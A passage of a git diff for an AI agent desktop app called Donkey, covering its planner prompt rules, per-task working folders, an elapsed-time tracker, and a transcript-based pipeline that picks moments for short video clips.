+ inputs and output stay together. Reuse this folder on follow-ups; `ls` to reconcile. Save
+ elsewhere only when the user names a location.
+ - The `workspace.files` line already shows the contents of the small files in that folder; act
+ on them directly.
+ - A question or chit-chat turn: answer with conversation.respond (set input.response), then
+ run.complete.
+ - Missing a required, user-owned detail (which of two accounts, which named file)? Ask with
+ user.clarify (set input.question). Decide the method, the format, and whether a resource
+ exists yourself, and use any target/source/language the request already names. Low-risk
+ reversible actions (play, open, search, draft, navigate) just run. Confirm with user.clarify
+ first before an action that is destructive, costly, externally visible, or hard to undo
+ (sending, posting, purchasing, deleting, sharing private data) and goes beyond what the user
+ asked.
+ - Once a state-changing action SUCCEEDS (a note created, a message sent, a file moved), verify
+ and run.complete; repeating it just makes duplicates. Re-acting after success is the most
+ common way to loop.
+ - Verification is evidence-backed: after acting, confirm the effect (a command's output/exit
+ code, a re-observe, or state.verify) before run.complete — a focused app is not evidence. When
+ a tool already confirmed the result (a skill_run success status, an exit-0 output showing the
+ goal met), that IS your evidence — go straight to run.complete. A second check of an
+ already-confirmed result just stalls.
+ - Anything said to the user (conversation.respond, run.complete reason) reports the result, not
+ the process: what is now true ("Playing Yellow by Coldplay"). If the goal was missed, say
+ plainly what happened and the most likely reason.
Return JSON: {"tool": "<one tool name>", "input": {"key": "value", ...}, "narration": "<one warm sentence>"}. \
- ALWAYS include "input" with every required field for the chosen tool filled, exactly as its schema names them; use {} only for a tool that needs no input.
- "narration" is the one line the user reads for this step, shown live and saved to the conversation. \
- Write it in the first person, present or near tense, as if you were narrating your work to the person \
- watching — warm and plain, never robotic ("I'll start by reading the attached screenshots and finding \
- the relevant notch UI code.", "Let me check what's already on screen before I click.", "Found the file — \
- now I'll make the edit."). Say what you're doing this step and why in one breath. This narrates the \
- process; it is NOT the result. Reporting what is now true for the user is done only in conversation.respond \
- and run.complete, which still report the result, not the steps. Keep narration to one sentence; do not \
- restate the whole plan or repeat the previous step.
+ Always include "input" with every required field filled exactly as the tool's schema names them; use {} only for a tool that needs none. \
+ "narration" is the single first-person line the user reads live for this step — warm and plain, present tense, saying what you're doing and why in one breath ("Found the file — now I'll make the edit."). \
+ It narrates the process; the result goes only in conversation.respond and run.complete. Keep it to one sentence and don't restate the plan.
"""
}
diff --git a/apps/Donkey/Sources/DonkeyAI/HostedHarnessStepPlanner.swift b/apps/Donkey/Sources/DonkeyAI/HostedHarnessStepPlanner.swift
index 7b4f6a89..db1500e5 100644
--- a/apps/Donkey/Sources/DonkeyAI/HostedHarnessStepPlanner.swift
+++ b/apps/Donkey/Sources/DonkeyAI/HostedHarnessStepPlanner.swift
@@ -639,7 +639,11 @@ public final class HostedHarnessStepPlanner: HarnessNextStepPlanning {
/// The assistant turn for a past step: the decision JSON it produced, reconstructed from the recorded
/// call so the thread reads as the model's own prior choices — the same shape it must keep emitting.
private static func renderDecision(_ call: HarnessToolCall) -> String {
- let object: [String: Any] = ["tool": call.name, "input": call.input]
+ // Clip oversized input values so a past `files.write content` / long `llm.generate` prompt isn't
+ // replayed in full on every step it stays in the window. The result was already acted on; the thread
+ // only needs to recall what the call was.
+ let cappedInput = call.input.mapValues(DonkeyPrompts.clippedDecisionInputValue)
+ let object: [String: Any] = ["tool": call.name, "input": cappedInput]
if let data = try? JSONSerialization.data(withJSONObject: object, options: [.sortedKeys]),
let string = String(data: data, encoding: .utf8) {
return string
diff --git a/apps/Donkey/Sources/DonkeyAI/HostedImageGenerator.swift b/apps/Donkey/Sources/DonkeyAI/HostedImageGenerator.swift
index bf0bcc4a..6257f367 100644
--- a/apps/Donkey/Sources/DonkeyAI/HostedImageGenerator.swift
+++ b/apps/Donkey/Sources/DonkeyAI/HostedImageGenerator.swift
@@ -118,12 +118,13 @@ public struct HostedImageGenerator: Sendable {
return outcome
}
- /// Resolves where outputs are written. An absolute `outDir` is used as-is; a relative one resolves
- /// against the source image's folder (so "edited" lands next to the source) or, with no source, against
- /// the base. With no `outDir`, an edit writes next to its source and a generation writes to the base.
- /// The base is the conversation workspace folder when one exists, else Downloads — so generated images
- /// and clips collect with the turn's other deliverables instead of scattering into Downloads. Outputs
- /// are written FLAT into this directory (no per-generation nesting).
+ /// Resolves where outputs are written. An absolute `outDir` is honored, UNLESS it is a bare scatter
+ /// root (the top of Downloads/Desktop/Documents/home), which is grouped into the base instead of
+ /// littered there; a relative one resolves against the source image's folder (so "edited" lands next to
+ /// the source) or, with no source, against the base. With no `outDir`, an edit writes next to its source
+ /// and a generation writes to the base. The base is the conversation workspace folder when one exists,
+ /// else Downloads — so generated images and clips collect with the turn's other deliverables instead of
+ /// scattering. Outputs are written FLAT into this directory (no per-generation nesting).
static func resolvedOutputDirectory(
_ outDir: String?,
inputImagePaths: [String],
@@ -143,7 +144,10 @@ public struct HostedImageGenerator: Sendable {
}
let expanded = (outDir as NSString).expandingTildeInPath
if expanded.hasPrefix("/") {
- return URL(fileURLWithPath: expanded, isDirectory: true)
+ let dir = URL(fileURLWithPath: expanded, isDirectory: true)
+ // A bare Downloads/Desktop/Documents/home target is grouped into the task folder, not littered
+ // there; a genuinely user-named subfolder is honored as given.
+ return ConversationWorkspace.isScatterRoot(dir) ? base : dir
}
return (sourceDir ?? base).appendingPathComponent(expanded, isDirectory: true)
}
diff --git a/apps/Donkey/Sources/DonkeyAI/HostedMomentSelector.swift b/apps/Donkey/Sources/DonkeyAI/HostedMomentSelector.swift
new file mode 100644
index 00000000..b7c5da7d
--- /dev/null
+++ b/apps/Donkey/Sources/DonkeyAI/HostedMomentSelector.swift
@@ -0,0 +1,114 @@
+import DonkeyContracts
+import DonkeyRuntime
+import Foundation
+
+/// The model boundary behind `shorts.make`: a timestamped transcript in, the clip-worthy spans out. This is
+/// the ONE bounded inference the shorts pipeline makes — the planner never drives the download/cut/reframe/
+/// caption steps itself, so the whole run costs a single decision instead of a model call at every step.
+/// Returns nil on any failure; the orchestrator turns nil into a clean "could not find moments" outcome.
+public struct HostedMomentSelector: Sendable {
+ private let backend: DonkeyBackendInferenceClient
+ private let maxOutputTokens: Int
+ private let timeoutSeconds: TimeInterval
+
+ public init(
+ backend: DonkeyBackendInferenceClient,
+ maxOutputTokens: Int = 2_000,
+ timeoutSeconds: TimeInterval = 120
+ ) {
+ self.backend = backend
+ self.maxOutputTokens = maxOutputTokens
+ self.timeoutSeconds = timeoutSeconds
+ }
+
+ public func select(transcript: String, desiredCount: Int?) async -> [MomentSpan]? {
+ let request = RemoteInferenceResponseCreateRequest(
+ input: .array([
+ .object([
+ "role": .string("user"),
+ "content": .array([
+ .object(["type": .string("input_text"), "text": .string(Self.prompt(transcript: transcript, desiredCount: desiredCount))])
+ ])
+ ])
+ ]),
+ store: false,
+ metadata: ["source": "hosted-moment-selector", "prompt_version": "shorts-moments-v1"],
+ parameters: [
+ // Low temperature: picking the same strong moments from the same transcript should be stable.
+ "temperature": .number(0.2),
+ "max_output_tokens": .number(Double(maxOutputTokens)),
+ "thinking_level": .string("medium"),
+ // json_object, NOT a strict schema — constrained-schema decoding corrupts structured output
+ // on this backend, so ask for a bare JSON object and parse it tolerantly.
+ "response_format": .object(["type": .string("json_object")])
+ ]
+ )
+ let backend = self.backend
+ // The one network call in the shorts pipeline; the backend can drop a request under load, so retry a
+ // couple of times before giving up. Low temperature, so a retry costs only latency.
+ for attempt in 0..<3 {
+ if attempt > 0 { try? await Task.sleep(nanoseconds: 800_000_000) }
+ guard let response = try? await AIDeadline.enforce(seconds: timeoutSeconds, {
+ try await backend.createResponse(request)
+ }) else { continue }
+ guard let text = RemoteInferenceResponseHelpers.outputText(from: response),
+ let spans = Self.decode(from: text), !spans.isEmpty else { continue }
+ return spans
+ }
+ return nil
+ }
+
+ /// Pull `{"moments":[{"start","end","title"}]}` out of the reply — tolerant of surrounding prose or a code
+ /// fence by slicing from the first `{` to the last `}`. `start`/`end` may be seconds (a number) or an
+ /// `m:ss`/`h:mm:ss` string. Drops any span whose end is not strictly after its start.
+ static func decode(from text: String) -> [MomentSpan]? {
+ guard let start = text.firstIndex(of: "{"), let end = text.lastIndex(of: "}"), start < end,
+ let data = String(text[start...end]).data(using: .utf8),
+ let object = try? JSONSerialization.jsonObject(with: data) as? [String: Any],
+ let raw = object["moments"] as? [Any] else {
+ return nil
+ }
+ var spans: [MomentSpan] = []
+ for case let entry as [String: Any] in raw {
+ guard let startSec = seconds(entry["start"]), let endSec = seconds(entry["end"]), endSec > startSec else {
+ continue
+ }
+ let title = (entry["title"] as? String) ?? ""
+ spans.append(MomentSpan(startSec: startSec, endSec: endSec, title: title))
+ }
+ return spans.isEmpty ? nil : spans
+ }
+
+ /// Coerce a JSON value to seconds: a number passes through; an `m:ss`/`h:mm:ss` string is parsed.
+ private static func seconds(_ value: Any?) -> Double? {
+ if let number = value as? NSNumber { return number.doubleValue }
+ guard let string = value as? String else { return nil }
+ let parts = string.split(separator: ":").map { Double($0.trimmingCharacters(in: .whitespaces)) }
+ if parts.contains(nil) { return Double(string) }
+ let numbers = parts.compactMap { $0 }
+ switch numbers.count {
+ case 1: return numbers[0]
+ case 2: return numbers[0] * 60 + numbers[1]
+ case 3: return numbers[0] * 3600 + numbers[1] * 60 + numbers[2]
+ default: return nil
+ }
+ }
+
+ private static func prompt(transcript: String, desiredCount: Int?) -> String {
+ let countClause = desiredCount.map { "Choose exactly \($0) moment\($0 == 1 ? "" : "s") — the very strongest." }
+ ?? "Choose up to 5 of the strongest moments."
+ return """
+ You pick the strongest short-form moments from a timestamped transcript. Each line is "[m:ss] words". \
+ Choose self-contained spans — a complete thought with a hook and a payoff, usually 15–60 seconds — \
+ that would stand alone as a TikTok/Reel/Short. Do not cut mid-sentence; favor a strong opening line \
+ and a clear payoff. \(countClause)
+
+ Return ONLY a strict JSON object: {"moments":[{"start": <seconds>, "end": <seconds>, "title": \
+ "<3–6 word label>"}]} — start and end are seconds from the beginning of the source as numbers, with \
+ end strictly greater than start. No prose, no code fence.
+
+ TRANSCRIPT:
+ \(transcript)
+ """
+ }
+}
diff --git a/apps/Donkey/Sources/DonkeyAI/PlannerToolScope.swift b/apps/Donkey/Sources/DonkeyAI/PlannerToolScope.swift
new file mode 100644
index 00000000..08a6dfea
--- /dev/null
+++ b/apps/Donkey/Sources/DonkeyAI/PlannerToolScope.swift
@@ -0,0 +1,38 @@
+import DonkeyContracts
+import DonkeyHarness
+
+/// Which tools the planner is OFFERED for a turn, derived from the STRUCTURED understanding — never from the
+/// raw command text. The full catalog (~39 tools) is rendered into the cacheable prompt slot on every step,
+/// so trimming it to what the turn can actually use is the cheapest way to cut per-call input tokens.
+///
+/// Conservative by construction: when the turn might drive a GUI — or no understanding was produced, which
+/// defaults `actionSurface` to `.guiApp` — the whole catalog stays. Only an app-less turn (the deliverable is
+/// a file, an answer, or a system change) drops the app-driving clusters it can never reach for. SEE/act
+/// tools are deliberately kept so an app-less step that unexpectedly needs the screen can still look.
+public enum PlannerToolScope {
+ /// Tools that only make sense while driving an app's interface: the AppleScript generate→validate→execute
+ /// pipeline (drives a target app), the app-learning workflow (explores an app's GUI to distill a skill),
+ /// and the cursor-path visualizer. An app-less turn reaches none of them — system work goes through
+ /// `shell_exec`, not these — so offering them is pure input-token weight on every step.
+ static let guiOnlyToolNames: Set<String> = [
+ "automation.applescript.generate",
+ "automation.applescript.validate",
+ "automation.applescript.execute",
+ "application.learning.start",
+ "application.learning.captureState",
+ "application.learning.proposeExploration",
+ "application.learning.distill",
+ "application.learning.saveSkillPack",
+ "agent.path.visualize"
+ ]
+
+ /// Filter the catalog for a turn. Returns the descriptors unchanged unless the turn is app-less, in which
+ /// case the GUI-only clusters are dropped.
+ public static func scoped(
+ _ descriptors: [HarnessToolDescriptor],
+ actionSurface: HarnessActionSurface?
+ ) -> [HarnessToolDescriptor] {
+ guard actionSurface == .appless else { return descriptors }
+ return descriptors.filter { !guiOnlyToolNames.contains($0.name) }
+ }
+}
diff --git a/apps/Donkey/Sources/DonkeyContracts/UserQueryConversationContracts.swift b/apps/Donkey/Sources/DonkeyContracts/UserQueryConversationContracts.swift
index 491db20a..dc4bc056 100644
--- a/apps/Donkey/Sources/DonkeyContracts/UserQueryConversationContracts.swift
+++ b/apps/Donkey/Sources/DonkeyContracts/UserQueryConversationContracts.swift
@@ -56,8 +56,22 @@ public struct UserQueryConversation: Codable, Equatable, Identifiable, Sendable
public var status: UserQueryConversationStatus
public var accentIndex: Int
public var origin: UserQueryConversationOrigin
+ /// When the conversation was first created. A stable timestamp — never restamped — used for ordering and
+ /// age. It is NOT the elapsed-time anchor; that is `runningSince`. Keeping the two separate is what makes
+ /// the cumulative timer impossible to corrupt (see `activeSeconds`).
public var createdAt: Date
public var updatedAt: Date
+ /// The two fields that, together, define elapsed time — and the reason the clock can't regress. Active
+ /// time is `accumulatedActiveSeconds` (every stretch already closed) plus the open stretch since
+ /// `runningSince` while running. Both are `private(set)`: the ONLY ways to change them are
+ /// `openRunningStretch` / `closeRunningStretch`, which are individually safe and order-independent. No
+ /// call site can restamp the clock or drop a stretch, so the "timer resets mid-run" bug is structurally
+ /// impossible — the same doctrine `detail` uses for the chin. Both decode tolerantly so conversations
+ /// persisted before they existed still load.
+ ///
+ /// `runningSince` is non-nil exactly when a stretch is open (normally while `status == .running`).
+ public private(set) var accumulatedActiveSeconds: Double
+ public private(set) var runningSince: Date?
public var metadata: [String: String]
public init(
@@ -70,6 +84,8 @@ public struct UserQueryConversation: Codable, Equatable, Identifiable, Sendable
origin: UserQueryConversationOrigin = .user,
createdAt: Date = Date(),
updatedAt: Date = Date(),
+ accumulatedActiveSeconds: Double = 0,
+ runningSince: Date? = nil,
metadata: [String: String] = [:]
) {
self.id = id
@@ -81,8 +97,63 @@ public struct UserQueryConversation: Codable, Equatable, Identifiable, Sendable
self.origin = origin
self.createdAt = createdAt
self.updatedAt = updatedAt
+ self.accumulatedActiveSeconds = accumulatedActiveSeconds
+ // A conversation born running has an open stretch from creation, unless a caller (decode, store
+ // load) supplies the persisted anchor explicitly. This keeps "create a running conversation" a
+ // single step — no caller has to remember to open the stretch.
+ self.runningSince = runningSince ?? (status == .running ? createdAt : nil)
self.metadata = metadata
}
+
+ private enum CodingKeys: String, CodingKey {
+ case id, title, detail, commandText, status, accentIndex, origin
+ case createdAt, updatedAt, accumulatedActiveSeconds, runningSince, metadata
+ }
+
+ // Custom decode so a conversation persisted before the elapsed-time fields existed still loads (its JSON
+ // has no such keys) instead of failing and dropping the row. Every pre-existing field is decoded exactly
+ // as the synthesized initializer did; the elapsed-time fields default tolerantly.
+ public init(from decoder: Decoder) throws {
+ let c = try decoder.container(keyedBy: CodingKeys.self)
+ id = try c.decode(String.self, forKey: .id)
+ title = try c.decode(String.self, forKey: .title)
+ detail = try c.decode(String.self, forKey: .detail)
+ commandText = try c.decode(String.self, forKey: .commandText)
+ status = try c.decode(UserQueryConversationStatus.self, forKey: .status)
+ accentIndex = try c.decode(Int.self, forKey: .accentIndex)
+ origin = try c.decode(UserQueryConversationOrigin.self, forKey: .origin)
+ createdAt = try c.decode(Date.self, forKey: .createdAt)
+ updatedAt = try c.decode(Date.self, forKey: .updatedAt)
+ accumulatedActiveSeconds = try c.decodeIfPresent(Double.self, forKey: .accumulatedActiveSeconds) ?? 0
+ runningSince = try c.decodeIfPresent(Date.self, forKey: .runningSince) ?? (status == .running ? createdAt : nil)
+ metadata = try c.decode([String: String].self, forKey: .metadata)
+ }
+}
+
+public extension UserQueryConversation {
+ /// Total active time as of `now`: every stretch already banked, plus the open stretch while one is
+ /// running. The single source of "elapsed" for the UI — idle gaps between stretches are never counted
+ /// because the clock only advances while `runningSince` is set.
+ func activeSeconds(asOf now: Date) -> Double {
+ accumulatedActiveSeconds + (runningSince.map { max(0, now.timeIntervalSince($0)) } ?? 0)
+ }
+
+ /// Begin counting a running stretch as of `now`. A NO-OP if a stretch is already open, so re-entering
+ /// `.running` — a per-step narration update, an approved gate, a resumed loop — can never restart the
+ /// clock or drop the stretch in flight. The clock only ever resumes from where it left off.
+ mutating func openRunningStretch(asOf now: Date) {
+ guard runningSince == nil else { return }
+ runningSince = now
+ }
+
+ /// Stop the open stretch as of `endedAt`, banking its real duration into the cumulative total. A NO-OP
+ /// if no stretch is open, so closing twice can't double-count. `endedAt` is normally now; a relaunch
+ /// passes the last time the loop actually advanced so the app-closed gap is never banked.
+ mutating func closeRunningStretch(asOf endedAt: Date) {
+ guard let start = runningSince else { return }
+ accumulatedActiveSeconds += max(0, endedAt.timeIntervalSince(start))
+ runningSince = nil
+ }
}
public extension UserQueryConversation {
diff --git a/apps/Donkey/Sources/DonkeyHarness/ConversationWorkspace.swift b/apps/Donkey/Sources/DonkeyHarness/ConversationWorkspace.swift
index 9d2f0590..24900c81 100644
--- a/apps/Donkey/Sources/DonkeyHarness/ConversationWorkspace.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/ConversationWorkspace.swift
@@ -50,6 +50,12 @@ public struct ConversationWorkspaceAttachment: Codable, Equatable, Sendable {
/// new root agent in the same conversation reuses it) and is projected into `worldModel.facts` each step
/// so it survives context compaction.
public struct ConversationWorkspace: Codable, Equatable, Sendable {
+ /// The dedicated working directory created for this conversation up front (e.g. `~/Downloads/<slug>/`),
+ /// the agent's own sandbox. It is the DEFAULT base a relative path and the shell's working directory
+ /// resolve against, so a task's intermediate and output files land here instead of loose in the
+ /// user's home. Stable for the conversation; the planner may still write to an absolute path the user
+ /// named, which wins over this default via `anchorBase`.
+ public var root: String?
/// Where loose deliverables land before promotion — seeded from the parent directory of the first
/// deliverable (the base the planner chose). Stable for the conversation.
public var anchorBase: String?
@@ -63,12 +69,14 @@ public struct ConversationWorkspace: Codable, Equatable, Sendable {
public var updatedAt: Date
public init(
+ root: String? = nil,
anchorBase: String? = nil,
folderPath: String? = nil,
deliverables: [ConversationWorkspaceDeliverable] = [],
attachments: [ConversationWorkspaceAttachment] = [],
updatedAt: Date = Date()
) {
+ self.root = root
self.anchorBase = anchorBase
self.folderPath = folderPath
self.deliverables = deliverables
@@ -77,13 +85,14 @@ public struct ConversationWorkspace: Codable, Equatable, Sendable {
}
private enum CodingKeys: String, CodingKey {
- case anchorBase, folderPath, deliverables, attachments, updatedAt
+ case root, anchorBase, folderPath, deliverables, attachments, updatedAt
}
- /// Tolerant decode so a workspace persisted before `attachments` existed still loads (its JSON has no
- /// `attachments` key) instead of failing and dropping the conversation's whole workspace record.
+ /// Tolerant decode so a workspace persisted before a field existed still loads (e.g. its JSON has no
+ /// `root` or `attachments` key) instead of failing and dropping the conversation's whole workspace record.
public init(from decoder: Decoder) throws {
let c = try decoder.container(keyedBy: CodingKeys.self)
+ root = try c.decodeIfPresent(String.self, forKey: .root)
anchorBase = try c.decodeIfPresent(String.self, forKey: .anchorBase)
folderPath = try c.decodeIfPresent(String.self, forKey: .folderPath)
deliverables = try c.decodeIfPresent([ConversationWorkspaceDeliverable].self, forKey: .deliverables) ?? []
@@ -96,13 +105,31 @@ public struct ConversationWorkspace: Codable, Equatable, Sendable {
/// Fact key for the machine-readable resolve directory, read by file-writing executors and hidden
/// from the planner's prose facts dump.
public static let baseDirFactKey = "workspace.baseDir"
+ /// Fact key for the inlined contents of the small text files in the working directory, surfaced to the
+ /// planner every step so it never re-opens its own small inputs (the data file it copied in, a map it
+ /// wrote). Sorts right after `workspace`, so it reads as part of the workspace block.
+ public static let fileContentsFactKey = "workspace.files"
/// Metadata key under which the encoded record is stored on `HarnessConversation`.
public static let metadataKey = "workspace"
- /// The directory a relative path should resolve against right now: the promoted folder if there is
- /// one, else the chosen base, else nil (caller keeps its own default).
+ /// The directory a relative path (and the shell's working directory) should resolve against right now:
+ /// the promoted folder if there is one, else the base the planner chose by writing there, else the
+ /// dedicated working directory seeded for the conversation. `nil` only before a root has been seeded.
+ ///
+ /// A bare scatter root (the top of Downloads/Desktop/Documents or the home root) is never a real base —
+ /// it is where loose files litter, not where the task's folder lives. A shell tool that wrote its output
+ /// straight into Downloads (yt-dlp, ffmpeg — the one producer path `files.write`'s re-rooting can't
+ /// intercept, since an arbitrary command's args can't be safely rewritten) would otherwise migrate the
+ /// whole workspace there through `anchorBase` and abandon the dedicated `root`. So a scatter-root
+ /// `anchorBase` yields to `root` whenever a root exists; a named subfolder the planner grouped into
+ /// (`folderPath`, or a non-scatter `anchorBase`) is still honored. This mirrors `resolveWritePath`'s rule.
public var currentBaseDirectory: String? {
- folderPath ?? anchorBase
+ if let folderPath, !folderPath.isEmpty { return folderPath }
+ if let anchorBase, !anchorBase.isEmpty,
+ !(Self.isScatterRoot(URL(fileURLWithPath: anchorBase)) && (root?.isEmpty == false)) {
+ return anchorBase
+ }
+ return root
}
/// Record a produced file. Seeds `anchorBase` from the first deliverable's parent directory, and
@@ -190,10 +217,14 @@ public struct ConversationWorkspace: Codable, Equatable, Sendable {
if let folder = folderPath, !folder.isEmpty {
body = "folder=\(Self.abbreviate(folder)); \(deliverables.count) file(s) here: \(produced)\(more). "
+ "Keep adding to this folder; do not start another."
+ } else if let base = currentBaseDirectory, !base.isEmpty {
+ // Name the exact folder to put created files in (the same base `currentBaseDirectory` resolves,
+ // so the prompt and the shell's cwd never disagree). Just give the path — no steering about
+ // relative vs absolute; with the destination stated the model writes there.
+ body = "folder=\(Self.abbreviate(base)); put intermediate and output files you create in this "
+ + "folder (\(base)). produced: \(produced)\(more)."
} else {
- let base = anchorBase.map(Self.abbreviate) ?? "(none chosen yet)"
- body = "folder=<none yet — loose at \(base)>; produced: \(produced)\(more). "
- + "If you create a SECOND related file, first make a clearly-named folder here and move the earlier file(s) into it."
+ body = "folder=<none yet>; produced: \(produced)\(more)."
}
return attachmentsClause + body
}
@@ -220,6 +251,103 @@ public struct ConversationWorkspace: Codable, Equatable, Sendable {
return URL(fileURLWithPath: expanded).standardizedFileURL.path
}
+ /// UserDefaults key that lets the user choose where task folders are created. The value is one of the
+ /// tokens `"downloads"`, `"desktop"`, `"documents"`, or a custom absolute (or `~`-relative) path; an
+ /// empty or unrecognized value falls back to the default. This is the "user can decide" knob a settings
+ /// control writes to — the runtime only reads it.
+ public static let outputLocationDefaultsKey = "donkey.workspace.outputLocation"
+
+ /// The parent that holds every conversation's task folder — one visible folder per task in a standard
+ /// location rather than files scattered loose. Resolution order: the `DONKEY_WORKSPACE_DIR` env override
+ /// (tests/eval route working directories into a hermetic temp area; also a power-user escape hatch)
+ /// wins; then the user's chosen location from `outputLocationDefaultsKey`; otherwise the default, the
+ /// user's Downloads folder — the OS's "an app made this for you" drop point, where the user already
+ /// looks and which iCloud does not sync.
+ public static func workspaceParentDirectory(
+ defaults: UserDefaults = .standard,
+ home: URL = FileManager.default.homeDirectoryForCurrentUser
+ ) -> URL {
+ // Read live via getenv: `ProcessInfo.processInfo.environment` is a snapshot taken at process start,
+ // so a test that `setenv`s this after launch would not be seen.
+ if let raw = getenv("DONKEY_WORKSPACE_DIR") {
+ let override = String(cString: raw)
+ if !override.isEmpty {
+ return URL(fileURLWithPath: (override as NSString).expandingTildeInPath, isDirectory: true)
+ }
+ }
+ return preferredParentDirectory(defaults: defaults, home: home)
+ }
+
+ /// The user-chosen (or default) task-folder parent, with no environment override. Split out from
+ /// `workspaceParentDirectory` so the preference resolution is unit-testable without the env var.
+ static func preferredParentDirectory(defaults: UserDefaults, home: URL) -> URL {
+ let choice = (defaults.string(forKey: outputLocationDefaultsKey) ?? "")
+ .trimmingCharacters(in: .whitespacesAndNewlines)
+ switch choice.lowercased() {
+ case "", "downloads": return home.appendingPathComponent("Downloads", isDirectory: true)
+ case "desktop": return home.appendingPathComponent("Desktop", isDirectory: true)
+ case "documents": return home.appendingPathComponent("Documents", isDirectory: true)
+ default:
+ // A custom path the user set; only an absolute (or ~-expanded) path is honored, else Downloads.
+ let expanded = (choice as NSString).expandingTildeInPath
+ return expanded.hasPrefix("/")
+ ? URL(fileURLWithPath: expanded, isDirectory: true)
+ : home.appendingPathComponent("Downloads", isDirectory: true)
+ }
+ }
+
+ /// The shared top-level locations a careless write litters: the home root and the top level of the
+ /// user's Downloads/Desktop/Documents. A file aimed DIRECTLY at one of these — not at a named subfolder
+ /// inside it — is re-rooted into the conversation's task folder, so a task's outputs always group into
+ /// one folder instead of scattering across these shared directories. A genuinely user-named subfolder
+ /// (`~/Documents/Taxes/2024`) is NOT a scatter root and is left exactly where it was aimed.
+ public static func isScatterRoot(
+ _ directory: URL,
+ home: URL = FileManager.default.homeDirectoryForCurrentUser
+ ) -> Bool {
+ // Compare normalized path STRINGS, not URLs: `URL ==` is sensitive to a trailing slash / the
+ // isDirectory hint, so `file:///x/Downloads` and `file:///x/Downloads/` would wrongly differ.
+ let dirPath = directory.standardizedFileURL.path
+ let homePath = home.standardizedFileURL.path
+ if dirPath == homePath { return true }
+ for name in ["Downloads", "Desktop", "Documents"] {
+ if dirPath == (homePath as NSString).appendingPathComponent(name) { return true }
+ }
+ return false
+ }
+
+ /// The dedicated working-directory path for a conversation: `<parent>/<goal-slug>-<short-id>/`, where
+ /// `<parent>` is the user's chosen output location (Downloads by default). The goal slug makes the
+ /// folder recognizable; the short conversation id keeps two similar goals apart. Pure (string math on
+ /// the parent path); the caller creates the directory on disk.
+ public static func defaultRootPath(goal: String, conversationID: String) -> String {
+ let slug = self.slug(goal)
+ let shortID = conversationID
+ .lowercased()
+ .filter { $0.isLetter || $0.isNumber }
+ .prefix(8)
+ let name = slug.isEmpty ? "task-\(shortID)" : "\(slug)-\(shortID)"
+ return workspaceParentDirectory().appendingPathComponent(name, isDirectory: true).path
+ }
+
+ /// A short, filesystem-safe slug from free text: lowercase, alphanumerics kept, every run of other
+ /// characters collapsed to a single `-`, trimmed, capped so the folder name stays readable.
+ static func slug(_ text: String, maxLength: Int = 40) -> String {
+ var out = ""
+ var lastWasDash = false
+ for character in text.lowercased() {
+ if character.isLetter || character.isNumber {
+ out.append(character)
+ lastWasDash = false
+ } else if !lastWasDash {
+ out.append("-")
+ lastWasDash = true
+ }
+ }
+ let trimmed = out.trimmingCharacters(in: CharacterSet(charactersIn: "-"))
+ return String(trimmed.prefix(maxLength)).trimmingCharacters(in: CharacterSet(charactersIn: "-"))
+ }
+
/// The immediate subdirectory of `base` on the way down to `descendant` (so deeply-nested writes
/// still adopt the top-level project folder, e.g. base=`~/Downloads`, descendant=`~/Downloads/app/Sources`
/// → `~/Downloads/app`).
diff --git a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessBuiltInToolExecutors.swift b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessBuiltInToolExecutors.swift
index e9d06f67..ad67dbd6 100644
--- a/apps/Donkey/Sources/DonkeyHarness/GenericHarnessBuiltInToolExecutors.swift
+++ b/apps/Donkey/Sources/DonkeyHarness/GenericHarnessBuiltInToolExecutors.swift
@@ -459,6 +459,109 @@ public struct HarnessWebAutomateOutcome: Sendable {
}
}
+/// The typed request for the `pdf.fill` tool: the form file, the data (a file path OR the data itself
+/// as text), an optional output path, and the conversation's working directory (so the orchestrator
+/// runs the bundled `pdf-fill` and writes the result inside the agent's own folder). Declared in
+/// DonkeyHarness so the executor passes it across the closure boundary without importing the runtime.
+public struct HarnessFormFillRequest: Sendable {
+ public var form: String
+ public var data: String
+ public var out: String?
+ public var workingDirectory: String?
+
+ public init(form: String, data: String, out: String? = nil, workingDirectory: String? = nil) {
+ self.form = form
+ self.data = data
+ self.out = out
+ self.workingDirectory = workingDirectory
+ }
+}
+
+/// The result of a `pdf.fill` run: a text summary of what was filled, whether it genuinely produced a
+/// filled PDF, and the output path. The executor reports `.failed` (keeping `text`) whenever `succeeded`
+/// is false, so a run that mapped nothing is never surfaced to the agent as a success.
+public struct HarnessFormFillOutcome: Sendable {
+ public var text: String
+ public var succeeded: Bool
+ public var outPath: String?
+
+ public init(text: String, succeeded: Bool, outPath: String? = nil) {
+ self.text = text
+ self.succeeded = succeeded
+ self.outPath = outPath
+ }
+}
+
+/// The typed request for the `shorts.make` tool: the source (a local video path OR a URL to download), an
+/// optional clip count, an optional aspect ratio for the vertical crop, and the conversation's working
+/// directory (so the pipeline writes its clips inside the agent's own folder). Declared in DonkeyHarness so
+/// the executor passes it across the closure boundary without importing the runtime.
+public struct HarnessShortsRequest: Sendable {
+ public var source: String
+ public var desiredCount: Int?
+ public var aspect: String?
+ public var workingDirectory: String?
+
+ public init(source: String, desiredCount: Int? = nil, aspect: String? = nil, workingDirectory: String? = nil) {
+ self.source = source
+ self.desiredCount = desiredCount
+ self.aspect = aspect
+ self.workingDirectory = workingDirectory
+ }
+}
+
+/// The result of a `shorts.make` run: a text summary, whether it genuinely produced at least one clip, and
+/// the finished clip files. The executor reports `.failed` (keeping `text`) whenever `succeeded` is false,
+/// so a run that rendered nothing is never surfaced to the agent as a success.
+public struct HarnessShortsOutcome: Sendable {
+ public var text: String
+ public var succeeded: Bool
+ public var producedFiles: [String]
+
+ public init(text: String, succeeded: Bool, producedFiles: [String] = []) {
+ self.text = text
+ self.succeeded = succeeded
+ self.producedFiles = producedFiles
+ }
+}
+
+/// The typed request for the `media.caption` tool: a video (a local path OR a URL), an optional target
+/// language to translate the captions into, an optional clip span to caption just part of it, and the
+/// conversation's working directory. Declared in DonkeyHarness so the executor passes it across the closure
+/// boundary without importing the runtime.
+public struct HarnessCaptionRequest: Sendable {
+ public var source: String
+ public var translateTo: String?
+ public var clipStart: String?
+ public var clipDuration: String?
+ public var workingDirectory: String?
+
+ public init(
+ source: String, translateTo: String? = nil, clipStart: String? = nil,
+ clipDuration: String? = nil, workingDirectory: String? = nil
+ ) {
+ self.source = source
+ self.translateTo = translateTo
+ self.clipStart = clipStart
+ self.clipDuration = clipDuration
+ self.workingDirectory = workingDirectory
+ }
+}
+
+/// The result of a `media.caption` run: a text summary, whether it produced a captioned file, and the
